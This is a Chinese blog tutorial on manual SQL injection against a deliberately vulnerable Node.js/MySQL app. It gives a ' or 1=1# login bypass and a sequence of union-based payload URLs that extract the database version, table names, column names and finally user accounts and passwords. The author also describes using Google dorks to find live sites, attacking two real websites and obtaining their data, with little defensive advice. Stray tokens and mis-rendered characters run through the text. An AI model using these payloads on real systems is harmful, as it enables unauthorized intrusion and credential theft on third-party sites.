手动SQL注入原理分析与实践

代码仓库

本文所用代码的代码库地址:javascript

了解SQL注入

定义php

SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最多见的一种安全漏洞。能够用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操做,甚至有可能获取数据库乃至系统用户最高权限。html

原理java

形成SQL注入的缘由是由于程序没有有效过滤用户的输入,使攻击者成功的向服务器提交恶意的SQL查询代码,程序在接收后错误的将攻击者的输入做为查询语句的一部分执行,致使原始的查询逻辑被改变,额外的执行了攻击者精心构造的恶意代码。
从本质上来讲,SQL注入和XSS注入很类似,都是由于没有作好对用户的输入控制而致使的错误。node

环境准备

  • 安装PostgresSQL 和 Mysql:
sudo apt-get update
sudo apt-get install postgresql pgadmin3
sudo pg_createcluster -p 5432 -u postgres 9.3 virusTest --start
sudo netstat -aWn --programs | grep postgres
  • 安装Mysql
sudo apt-get update
sudo apt-get install mysql-server
  • 建立数据库
sudo su
su postgres
psql
create database virustest
  • 在Ubuntu上安装NodeJs
wget -t https://nodejs.org/dist/v6.9.1/node-v6.9.1-linux-x64.tar.xz
tar -xf node-v6.9.1-linux-x64.tar.xz
cd node-v6.9.1-linux-x64.tar.xz/bin
ln -s *****  /usr/local/bin/node
ln -s *****  /usr/local/bin/npm

经典注入:' or 1=1

准备工做

  • 编写models/index.jsmodels/migrate.jsmodels/User.js建立以下图所示的User表:
User表
account password
test0 1234560
test1 1234561
test2 1234562
  • 执行node models/migrate初始化数据库
  • 编写 first/index.js 定义简单的服务器
  • 编写 views/index.html 定义简单的登陆页面
  • 安装全部依赖npm install

实践

数据库初始化完成后,咱们来开心的模拟一次经典的登陆注入操做 :使用' or 1=1#绕过用户名和密码验证直接登陆。mysql

  • 启动服务器 node first/index.js,访问http://localhost:5000/看到以下网页
    linux



  • 输入 account : test0, password : 1234560,能够发现登陆成功git

  • 输入 account : test0, password : wrongPassword,能够发现登陆失败github

  • 输入 account : ' or 1=1# , password : test,能够发现登陆成功!!!sql

咱们来看看后台代码中对用户输入的用户名和密码进行验证的的SQL语句:

`select * from Users where account ='${account}' and password='${password}'`

咱们将account:' or 1=1#,password:test 的值带入,这条语句变成了:

select * from users where account = '' or 1=1 #' and password='test'

能够看到:

  • SQL的Where子句就变成了永真,由于account='' or 1 = 1永远成立。
  • #后面的语句所有变成了注释(mysql能够用#号来注释代码),不会影响代码正确运行,服务器不会返回500。

这个注入可以成功的缘由就在于——灵活使用'字符和#字符。

Union子句的妙用

准备工做

  • 编写models/Article和models/migrate.js定义以下图所示的Articles表:

    图片名称
  • 执行node models/migrate初始化数据库
  • 编写路由代码:
router.get("/article",function *(){
    var ctx = this;
    var query = ctx.request.query;
    var articleId = query.id || 1;
    debug("SQL",`select * from Articles where id = ${articleId}`);
    var data = yield db.query(`select * from Articles where id = ${articleId}`,{
        type: db.QueryTypes.SELECT
    });
    data = data.length !== 0 ? data[data.length - 1] : {
        title : "没有这个文章",
        content :"<p>没有这个文章</p>"
    };
    // debug(data);
    yield ctx.render("index.html", data);
})

此路由函数会先接收GET参数传来的id,使用SQL对id进行查询,将查询到的数据渲染到html返回给浏览器端。

实践

  • 启动服务器 node first/index.js,访问http://localhost:3030/article?id=1,能够看到以下图所示的界面:

    图片名称
  • 访问 http://localhost:3030/article?id=3/*ABC*/,能够发现返回的页面没有变化,这说明后台对输入没有过滤,这里是能够注入的。
  • 确认页面能够注入后,访问http://localhost:3030/article?id=3 and 1=2,能够发现页面显示没有文章,由于1=2的判断致使SQL的Where子句永远为false,因此没有文章返回。

    图片名称
  • 使用union子句获得当前文章所在表的列数,从1开始测,依次访问如下网址
http://localhost:3030/article?id=3 and 1=1 union select 1
http://localhost:3030/article?id=3 and 1=1 union select 1,2  
http://localhost:3030/article?id=3 and 1=1 union select 1,2,3  
http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4  
http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5

前四步都显示:


图片名称

这是由于union两头链接的表的字段数不一致,因此SQL语句执行结果是错误的。而访问 http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5成功,这是由于Articles表的列数就是5,访问这样的网址,后台实际执行的SQL语句及其结果以下图所示:

图片名称

  • 访问http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5,咱们发现页面展现的仍是id=3的文章,查看路由处理的代码:

    图片名称

    能够发现,默认返回的是第一条数据,因此咱们加一个order by id DESC就能够看到别的数据了:
http://localhost:3030/article?id=3 and 1=1 union select 10000,2,3,4,5 order by id DESC

访问上述网址,后台执行的SQL语句及其结果以下图所示


图片名称

因此页面的返回结果是:


图片名称

咱们能够看到咱们传给后端的2,3分别在这里被展现在了页面上。

  • 首先,咱们要知道数据库的版本和数据表的名称,访问如下网址:
http://localhost:3030/article?id=3 and 1=1 union select 10000,version(),database(),4,5 order by id DESC

咱们就能够看到数据库的版本和数据表的名称:


图片名称

这里记下virustest这个数据库的名称。

  • 知道了数据库的名称后,尝试获得咱们所须要的表的名称,将访问的网址改为:
http://localhost:3030/article?id=3 and 1=1 union select 10000,2,TABLE_NAME,4,5 FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=virustest order by rand() DESC

其中的order by rand()能够帮助咱们随机地看到数据库中有哪些表,咱们多访问几回,就能够看到有一个Users表:


图片名称

这个Users表就很是有用,咱们来继续注入,尝试着拿到用户名和密码。

  • 知道了数据表的名称后,就能够尝试着获得表中列的名称,将访问网址改为:
http://localhost:3030/article?id=3 and 1=1 union SELECT 10000,COLUMN_NAME,3,4,5 FROM information_schema.columns where TABLE_SCHEMA='virustest' and TABLE_NAME='Users' order by rand()

因为有order by rand(),多访问几回,咱们就能够陆续看到全部的列名,有两个字段咱们比较感兴趣:


图片名称


图片名称

记住“account”字段和“password”字段

  • 知道了数据表的列名后,就能够开始拖库了,访问如下网址:
http://localhost:3030/article?id=3 and 1=1 union select 1,account,password,4,5 from Users order by rand() DESC

访问结果以下图所示:


图片名称

不断访问这个网址,就能够陆续看到数据库中的全部用户名和密码。

实战

搜索引擎的使用

使用Google搜索inurl:.php?id=MTM=,这里inurl指的是在url内有后面字符串的网站,后面的id=MTM=是指base64加密后的id=13,代表网站对URL进行了base64处理。Google查询出来结果以下:



我本身通过删选测试,选取了两个网站:

本次就对这两个网站进行破解,先回顾一下咱们上次本身研究的几个破解步骤:

  • 测试可否被注入
  • 经过union测表段数目
  • 经过mysql函数获得数据库的名称
  • 经过INFORMATION_SCHEMA查询表的名称和表内行的名称
  • 获取想要的数据

咱们借助http://www1.tc711.com/tool/BASE64.htm这个base64工具进行base64加解密

第一个网站的SQL注入

第二个网站的SQL注入

总结

咱们进行了两次对互联网网站的SQL注入,第一次不是很成功,第三次好歹是拿到数据了,尝试了一下扩大战果,select user,password from mysql.user,失败= - =,估计是没有权限。select hex(load_file())的方法也是失败,毕竟mysql版本是5.5,安全级别较高,想要load_file()仍是很难的。

经过以上的实践,咱们能够总结出一些防范SQL注入的方法:

  • 限制权限,单独搞一个数据库和用户暴露给外界,把查询的范围和权限限制死,你就算能够注入也然并卵,数据没有用啊!
  • 直接过滤掉union或者select,不容许传的参数里面带有这个(360的作法)

在Restful API的时代,开发者在开发一个项目的时常常用到相似于id=?或者title=?这样的GET参数查询,后端通讯可能会有不少这样的漏洞,而这样的漏洞形成的后果每每是灾难性的。开发者尤为是后端开发者必定要注意哦!

相关文章
相关标签/搜索